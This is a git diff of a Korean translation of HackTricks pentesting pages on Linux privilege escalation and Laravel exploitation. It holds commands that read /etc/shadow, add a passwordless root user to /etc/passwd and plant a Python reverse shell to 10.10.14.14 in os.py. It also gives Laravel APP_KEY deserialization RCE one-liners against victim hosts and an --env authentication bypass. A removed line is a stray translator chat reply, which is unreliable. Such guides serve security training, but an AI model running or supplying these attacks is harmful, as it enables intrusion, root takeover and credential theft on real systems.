**허용**하거나 **거부**할 수 있는 ssh-agent forwarding을 `AllowAgentForwarding` 키워드로 제어합니다 (기본값은 허용). -If you find that Forward Agent is configured in an environment read the following page as **이를 악용해 권한 상승이 가능할 수 있습니다**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## 흥미로운 파일 -### Profiles files +### 프로필 파일 -The file `/etc/profile` and the files under `/etc/profile.d/` are **사용자가 새 쉘을 실행할 때 실행되는 스크립트들입니다**. Therefore, if you can **작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**. +The file `/etc/profile` and the files under `/etc/profile.d/` are **실행되는 스크립트들** when a user runs a new shell. Therefore, if you can **작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -이상한 profile 스크립트를 발견하면 **민감한 정보**가 있는지 확인해야 합니다. +이상한 프로필 스크립트가 발견되면 **민감한 정보**가 있는지 확인해야 합니다. -### Passwd/Shadow 파일 +### Passwd/Shadow Files -OS에 따라 `/etc/passwd` 및 `/etc/shadow` 파일이 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 **모두 찾아** **읽을 수 있는지 확인**하여 파일 안에 **해시가 있는지** 확인하는 것이 좋습니다: +OS에 따라 `/etc/passwd` 및 `/etc/shadow` 파일이 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 **모두 찾아보고** 파일을 **읽을 수 있는지 확인하여** 파일 안에 **해시가 있는지** 확인하는 것이 권장됩니다: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -경우에 따라 **password hashes**를 `/etc/passwd` (또는 이에 상응하는) 파일 내에서 찾을 수 있습니다 +경우에 따라 **password hashes**를 `/etc/passwd` (또는 동등한) 파일 내에서 찾을 수 있습니다 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 쓰기 가능한 /etc/passwd -먼저, 다음 명령어 중 하나로 password를 생성합니다. +먼저, 다음 명령어 중 하나로 비밀번호를 생성하세요. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -원본 파일 src/linux-hardening/privilege-escalation/README.md의 내용을 붙여 넣어 주세요. -번역본에 `hacker` 사용자 추가와 생성된 비밀번호를 포함시키길 원하시는지, 아니면 실제로 시스템에서 계정을 생성하는 명령 예시(복사해서 실행할 수 있는 명령)를 원하시는지도 알려주세요. +그런 다음 사용자 `hacker`를 추가하고 생성된 비밀번호를 설정하세요. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 예: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -이제 `hacker:hacker`로 `su` 명령을 사용할 수 있습니다. +이제 `su` 명령으로 `hacker:hacker`를 사용할 수 있습니다. -또는 다음 라인을 사용하여 비밀번호 없는 더미 사용자를 추가할 수 있습니다.\ -경고: 이로 인해 현재 시스템의 보안이 저하될 수 있습니다. +또는, 다음 줄을 사용해 비밀번호 없는 더미 사용자를 추가할 수 있습니다.\ +경고: 이는 머신의 현재 보안을 저하시킬 수 있습니다. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다. +참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db`와 `/etc/master.passwd`에 위치하며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다. -일부 민감한 파일에 **쓰기 권한이 있는지** 확인해야 합니다. 예를 들어, 일부 **서비스 구성 파일**에 쓸 수 있나요? +일부 민감한 파일에 **쓰기가 가능한지** 확인해야 합니다. 예를 들어, 어떤 **서비스 구성 파일에 쓸 수 있는지** 확인해 보세요. ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -예를 들어, 머신에서 **tomcat** 서버가 실행 중이고 **/etc/systemd/ 내의 Tomcat 서비스 구성 파일을 수정할 수 있다면,** 다음 줄들을 수정할 수 있습니다: +예를 들어, 머신이 **tomcat** server를 실행 중이고 **modify the Tomcat service configuration file inside /etc/systemd/,** 할 수 있다면, 다음 줄들을 수정할 수 있습니다: ``` ExecStart=/path/to/backdoor User=root @@ -1268,11 +1295,11 @@ Group=root ### 폴더 확인 -다음 폴더들은 백업이나 흥미로운 정보를 포함하고 있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (아마 마지막 것은 읽을 수 없겠지만 시도해보세요) +다음 폴더들에는 백업이나 흥미로운 정보가 포함되어 있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (마지막 항목은 아마 읽을 수 없겠지만 시도해 보세요) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 이상한 위치/Owned files +### 이상한 위치/Owned 파일 ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1289,7 +1316,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 최근 몇 분 동안 수정된 파일 +### 최근 몇 분 동안 수정된 파일들 ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1321,22 +1348,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### 비밀번호가 포함된 알려진 파일들 +### passwords를 포함할 가능성이 있는 알려진 파일들 -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보세요. 이 도구는 **비밀번호가 포함되어 있을 수 있는 여러 파일**을 검색합니다.\ -**또 다른 흥미로운 도구**로 사용할 수 있는 것은: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, Windows, Linux 및 Mac의 로컬 컴퓨터에 저장된 많은 비밀번호를 복구하는 데 사용되는 오픈 소스 애플리케이션입니다. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보면, **passwords를 포함할 수 있는 여러 파일들**을 검색한다.\ +**또 다른 흥미로운 도구**로 사용할 수 있는 것은: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, 로컬 컴퓨터에 저장된 많은 passwords를 Windows, Linux & Mac에서 복구하는 데 사용되는 오픈 소스 애플리케이션이다. -### 로그 +### Logs -로그를 읽을 수 있다면 그 안에서 **흥미로운/기밀 정보**를 찾을 수 있습니다. 로그가 이상할수록 더 흥미로울 가능성이 큽니다(아마도).\ -또한, 일부 "**잘못된**" 방식으로 구성된(백도어가 심어진?) **감사 로그**는 이 게시물에서 설명된 것처럼 감사 로그 내에 **비밀번호를 기록**하도록 허용할 수 있습니다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +logs를 읽을 수 있다면, 그 안의 **흥미롭거나 기밀한 정보**를 발견할 수 있을 것이다. log가 이상할수록 더 흥미로울 가능성이 높다 (아마도).\ +또한, 일부 "**bad**"로 구성된 (backdoored?) **audit logs**는 이 글에서 설명한 것처럼 audit logs 안에 **passwords**를 기록할 수 있게 허용할 수도 있다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -로그를 읽기 위해 **그룹** [**adm**](interesting-groups-linux-pe/index.html#adm-group)이(가) 정말 도움이 됩니다. +로그를 읽기 위해서는 [**adm**](interesting-groups-linux-pe/index.html#adm-group) 그룹이 매우 유용합니다. -### Shell files +### Shell 파일 ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1347,59 +1374,59 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### 일반 자격증명 검색/Regex +### Generic Creds Search/Regex -파일 이름이나 내용에 "**password**"라는 단어가 포함된 파일을 확인해야 하며, 로그에서 IP나 이메일, 또는 해시 정규식도 확인해야 합니다.\ -모든 방법을 여기서 전부 나열하지는 않겠지만 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 검사들을 확인해 보세요. +파일의 **이름**이나 **내용**에 "**password**"라는 단어가 포함된 파일을 확인해야 하며, 로그 내의 IP와 이메일, 또는 해시 regexps도 확인하세요.\ +여기서는 이 모든 방법을 일일이 설명하지 않겠지만, 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 검사들을 확인해 보세요. ## 쓰기 가능한 파일 ### Python library hijacking -파이썬 스크립트가 **어디에서** 실행될지 알고 해당 폴더에 **쓰기 권한이 있거나** python 라이브러리를 **수정할 수 있다면**, OS 라이브러리를 수정해서 backdoor 할 수 있습니다 (파이썬 스크립트가 실행되는 위치에 쓸 수 있다면 os.py 라이브러리를 복사해 붙여넣으세요). +만약 python 스크립트가 **어디서** 실행될지 알고 해당 폴더에 **쓰기 가능**하거나 **python 라이브러리를 수정**할 수 있다면, OS library를 수정해 backdoor를 심을 수 있습니다 (python 스크립트가 실행되는 위치에 쓸 수 있다면 os.py 라이브러리를 복사해 붙여넣으세요). To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate 악용 +### Logrotate exploitation -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate`의 취약점으로 인해 로그 파일이나 그 상위 디렉터리에 대해 **쓰기 권한**이 있는 사용자가 권한 상승을 할 수 있습니다. 이는 `logrotate`가 종종 **root**로 실행되며, 특히 _**/etc/bash_completion.d/**_ 같은 디렉터리에서 임의의 파일을 실행하도록 조작될 수 있기 때문입니다. _/var/log_뿐만 아니라 로그 회전이 적용되는 모든 디렉터리의 권한을 확인하는 것이 중요합니다. > [!TIP] -> This vulnerability affects `logrotate` version `3.18.0` and older +> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 줍니다 -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +취약점에 대한 자세한 정보는 다음 페이지에서 확인할 수 있습니다: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다. -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 누가 해당 로그를 관리하는지 확인하고 로그를 심볼릭 링크로 대체해 권한 상승이 가능한지 확인하세요. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**취약점 참조:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +어떠한 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-` 스크립트를 **쓰기**하거나 기존 스크립트를 **수정**할 수 있다면, 당신의 시스템은 **pwned**됩니다. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ 같은 예시는 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 거의 동일하게 보입니다. 그러나 Linux에서는 Network Manager(dispatcher.d)에 의해 ~sourced~ 됩니다. -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +제 경우에는 이러한 네트워크 스크립트의 `NAME=` 속성이 올바르게 처리되지 않았습니다. 이름에 **공백(white/blank space)**가 있으면 시스템이 공백 뒤의 부분을 실행하려고 시도합니다. 즉, **첫 번째 공백 이후의 모든 것이 root로 실행됩니다**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +예: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network와 /bin/id 사이의 공백에 주의하세요_) +(_주의: Network와 /bin/id_ 사이의 공백_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, 및 rc.d** -디렉터리 `/etc/init.d`는 System V init (SysVinit)을 위한 **스크립트**의 위치입니다. 이 디렉터리에는 서비스를 `start`, `stop`, `restart`, 때로는 `reload`하기 위한 스크립트가 포함되어 있습니다. 이러한 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 계열에서는 대체 경로로 `/etc/rc.d/init.d`가 사용됩니다. +디렉터리 `/etc/init.d`는 System V init (SysVinit)용 **스크립트**의 저장소로, **전통적인 Linux 서비스 관리 시스템**입니다. 여기에는 서비스 `start`, `stop`, `restart`, 그리고 경우에 따라 `reload`를 위한 스크립트들이 포함되어 있습니다. 이들은 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 계열 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다. -반면에 `/etc/init`은 **Upstart**와 연관되어 있으며, Ubuntu에서 도입된 더 최신의 **service management**로 서비스 관리를 위해 설정 파일을 사용합니다. Upstart로 전환되었음에도 불구하고 Upstart의 호환성 레이어 때문에 SysVinit 스크립트가 Upstart 설정과 함께 계속 사용됩니다. +반면에 `/etc/init`은 Ubuntu에서 도입된 **Upstart**와 연관되며, 서비스 관리를 위한 구성 파일을 사용합니다. Upstart로 전환되었음에도 불구하고 Upstart의 호환성 레이어 때문에 SysVinit 스크립트는 여전히 Upstart 구성과 함께 사용됩니다. -**systemd**는 현대적인 초기화 및 서비스 관리자이며, on-demand 데몬 시작, automount 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 배포 패키지 관련 파일은 `/usr/lib/systemd/`에, 관리자가 수정하는 파일은 `/etc/systemd/system/`에 정리되어 시스템 관리를 간소화합니다. +**systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, automount 관리, 시스템 상태 스냅샷 등 고급 기능을 제공합니다. 패키지 제공용 파일은 `/usr/lib/systemd/`에, 관리자 수정용 파일은 `/etc/systemd/system/`에 배치되어 시스템 관리를 간소화합니다. ## Other Tricks @@ -1426,7 +1453,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks는 일반적으로 privileged kernel 기능을 userspace manager에게 노출하기 위해 syscall을 훅합니다. 약한 manager 인증(예: FD-order 기반의 signature 체크 또는 취약한 비밀번호 방식)은 로컬 앱이 manager를 가장하여 이미 root 된 장치에서 root로 권한 상승하도록 만들 수 있습니다. 자세한 내용과 익스플로잇 정보는 다음을 참조하세요: +Android rooting frameworks는 일반적으로 syscall을 훅하여 커널의 권한 있는 기능을 userspace manager에 노출합니다. 약한 manager 인증(예: FD-order 기반 서명 체크나 취약한 비밀번호 방식)은 로컬 앱이 manager를 사칭하여 이미 루팅된 기기에서 root로 상승할 수 있게 할 수 있습니다. 자세한 내용과 익스플로이테이션은 다음을 참조하세요: {{#ref}} @@ -1477,6 +1504,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index f35ccfb0b..86980d590 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -여기에서 정보를 읽으세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +자세한 내용은 다음에서 확인하세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & Encryption internals (Laravel \u003e=5.6) +## APP_KEY & 암호화 내부 (Laravel \u003e=5.6) -Laravel은 내부적으로 HMAC 무결성과 함께 AES-256-CBC(또는 GCM)를 사용합니다(`Illuminate\\Encryption\\Encrypter`). -최종적으로 **클라이언트에 전송되는** 원시 암호문은 **JSON 객체의 Base64**입니다: +Laravel는 AES-256-CBC (또는 GCM)과 HMAC 무결성을 내부적으로 사용합니다 (`Illuminate\\Encryption\\Encrypter`). +최종적으로 **클라이언트로 전송되는** 원시 암호문은 **JSON 객체의 Base64** 같은 형태입니다: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,21 +20,23 @@ Laravel은 내부적으로 HMAC 무결성과 함께 AES-256-CBC(또는 GCM)를 "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)`는 기본적으로 평문을 `serialize()`하며, 반면에 `decrypt($payload, $unserialize=true)` **는 자동으로 복호화된 값을 `unserialize()`합니다.** 따라서 **32바이트 비밀 `APP_KEY`를 아는 공격자는 암호화된 PHP 직렬화 객체를 만들고 마법 메서드(`__wakeup`, `__destruct`, …)를 통해 RCE를 얻을 수 있습니다.** +`encrypt($value, $serialize=true)`는 기본적으로 평문에 대해 `serialize()`를 실행하는 반면, +`decrypt($payload, $unserialize=true)`는 복호화된 값을 **자동으로 `unserialize()`** 합니다. +따라서 **32-바이트 비밀 `APP_KEY`를 알고 있는 공격자는 암호화된 PHP serialized 객체를 만들어 magic methods (`__wakeup`, `__destruct`, …)을 통해 RCE를 획득할 수 있습니다.** -최소 PoC (프레임워크 ≥9.x): +Minimal PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -생성된 문자열을 취약한 `decrypt()` 싱크(경로 매개변수, 쿠키, 세션 등)에 주입합니다. +생성된 문자열을 취약한 `decrypt()` sink(라우트 파라미터, 쿠키, 세션 등)에 주입하세요. --- ## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 전체 프로세스를 자동화하고 편리한 **bruteforce** 모드를 추가합니다: +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 전체 과정을 자동화하고 편리한 **bruteforce** 모드를 추가합니다: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" @@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/tag 필드를 재생성합니다. +이 스크립트는 CBC와 GCM 페이로드를 모두 투명하게 지원하고 HMAC/tag 필드를 재생성합니다. --- -## 실제 취약한 패턴 +## 실제 취약 패턴 -| 프로젝트 | 취약한 싱크 | 가젯 체인 | +| 프로젝트 | 취약 지점 | Gadget chain | |---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` 쿠키가 `Passport::withCookieSerialization()`이 활성화된 경우 | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` 쿠키 | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | -악용 워크플로우는 항상 다음과 같습니다: -1. 32바이트 `APP_KEY`를 얻거나 무작위 대입합니다. -2. **PHPGGC**를 사용하여 가젯 체인을 구축합니다 (예: `Laravel/RCE13`, `Laravel/RCE9` 또는 `Laravel/RCE15`). -3. 복구된 `APP_KEY`와 함께 **laravel_crypto_killer.py**로 직렬화된 가젯을 암호화합니다. -4. 취약한 `decrypt()` 싱크(라우트 매개변수, 쿠키, 세션 등)에 암호문을 전달하여 **RCE**를 유발합니다. +익스플로잇 워크플로우는 항상: +1. 32바이트 `APP_KEY`를 획득하거나 무차별 대입으로 찾습니다. +2. **PHPGGC**로 gadget chain을 생성합니다 (예: `Laravel/RCE13`, `Laravel/RCE9` 또는 `Laravel/RCE15`). +3. 직렬화된 gadget을 **laravel_crypto_killer.py**와 복구한 `APP_KEY`로 암호화합니다. +4. 암호문(ciphertext)을 취약한 `decrypt()` sink(라우트 매개변수, 쿠키, 세션 …)에 전달하여 **RCE**를 발생시킵니다. -아래는 위에서 언급한 각 실제 CVE에 대한 전체 공격 경로를 보여주는 간결한 원라이너입니다: +아래는 위에서 언급한 실제 CVE 각각에 대한 전체 공격 경로를 간단한 one-liners로 보여줍니다: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` +## cookie brute-force를 통한 대량 APP_KEY 발견 + +모든 새로운 Laravel 응답은 최소 하나의 암호화된 쿠키(`XSRF-TOKEN` 및 보통 `laravel_session`)를 설정하기 때문에, **공용 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 leak**하여 오프라인으로 공격할 수 있습니다. + +Synacktiv(2024-2025)가 발표한 연구의 주요 발견: +* 데이터셋 July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* 데이터셋 May 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 서버가 여전히 레거시 CVE-2018-15133에 취약 — tokens에 직렬화된 데이터가 직접 포함되어 있기 때문. +* 광범위한 키 재사용 — 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)에 하드코딩된 기본값임. + +사설 Go 도구 **nounours**는 AES-CBC/GCM bruteforce 처리량을 약 15억 시도/s로 끌어올려 전체 데이터셋 크래킹 시간을 <2분으로 단축합니다. + + +## CVE-2024-52301 – HTTP argv/env override → auth bypass + +PHP의 `register_argc_argv=On`이 설정된 경우(많은 배포판에서 일반적), PHP는 쿼리 문자열에서 파생된 HTTP 요청용 `argv` 배열을 노출합니다. 최신 Laravel 버전은 이러한 "CLI-like" 인자를 파싱하고 런타임에서 `--env=`를 존중했습니다. 이로 인해 단순히 URL에 해당 값을 추가하는 것만으로 현재 HTTP 요청의 프레임워크 환경을 전환할 수 있습니다: + +- 빠른 확인: +- `https://target/?--env=local` 또는 임의의 문자열에 접속하여 환경에 따라 달라지는 항목(디버그 배너, 푸터, 자세한 오류 등)을 확인합니다. 문자열이 반영되면 오버라이드가 작동하는 것입니다. + +- 영향 예시 (특정 env를 신뢰하는 비즈니스 로직): +- 앱에 `if (app()->environment('preprod')) { /* bypass auth */ }` 같은 분기가 있다면, 유효한 자격 증명 없이 다음과 같이 로그인 POST를 보내어 인증할 수 있습니다: +- `POST /login?--env=preprod` + +- 주의사항: +- 요청 단위로 작동하며 영속성은 없음. +- `register_argc_argv=On`과 HTTP용 argv를 읽는 취약한 Laravel 버전이 필요함. +- “debug” 환경에서 더 자세한 오류를 노출시키거나 환경에 의해 제어되는 코드 경로를 트리거하는 유용한 원시 수단임. + +- 완화책: +- PHP-FPM/Apache에서 `register_argc_argv`를 비활성화. +- HTTP 요청에서 argv를 무시하도록 Laravel을 업그레이드하고, 운영 환경 라우트에서 `app()->environment()`에 의존하는 신뢰 가정을 제거. + +Minimal exploitation flow (Burp): +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` --- -## Mass APP_KEY discovery via cookie brute-force +## Laravel 팁 -모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공개 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다. +### 디버깅 모드 -Synacktiv(2024-2025)에서 발표한 연구의 주요 발견: -* 데이터셋 2024년 7월 » 580k 토큰, **3.99 % 키 해독됨** (≈23k) -* 데이터셋 2025년 5월 » 625k 토큰, **3.56 % 키 해독됨** -* >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰은 직렬화된 데이터를 직접 포함합니다. -* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다. - -개인 Go 도구 **nounours**는 AES-CBC/GCM 브루트포스 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 2분 미만으로 줄입니다. - - -## Laravel Tricks - -### Debugging mode - -Laravel이 **디버깅 모드**에 있으면 **코드**와 **민감한 데이터**에 접근할 수 있습니다.\ -예를 들어 `http://127.0.0.1:8000/profiles`: +만약 Laravel이 **디버깅 모드**라면 **코드**와 **민감한 데이터**에 접근할 수 있습니다.\ +예: `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -이는 일반적으로 다른 Laravel RCE CVE를 악용하는 데 필요합니다. +이는 보통 다른 Laravel RCE CVEs를 exploit하는 데 필요합니다. +### Fingerprinting & exposed dev endpoints + +운영 환경에서 노출된 Laravel 스택과 위험한 dev tooling을 식별하기 위한 빠른 확인: + +- `/_ignition/health-check` → Ignition 존재 (CVE-2021-3129에 사용된 디버그 도구). 인증 없이 접근 가능하면 앱이 디버그 상태이거나 잘못 구성되었을 수 있습니다. +- `/_debugbar` → Laravel Debugbar 자산; 종종 디버그 모드를 나타냅니다. +- `/telescope` → Laravel Telescope (dev 모니터). 공개되어 있으면 광범위한 정보 노출과 가능한 조치를 기대할 수 있습니다. +- `/horizon` → Queue 대시보드; 버전 노출과 때때로 CSRF로 보호된 작업이 존재할 수 있습니다. +- 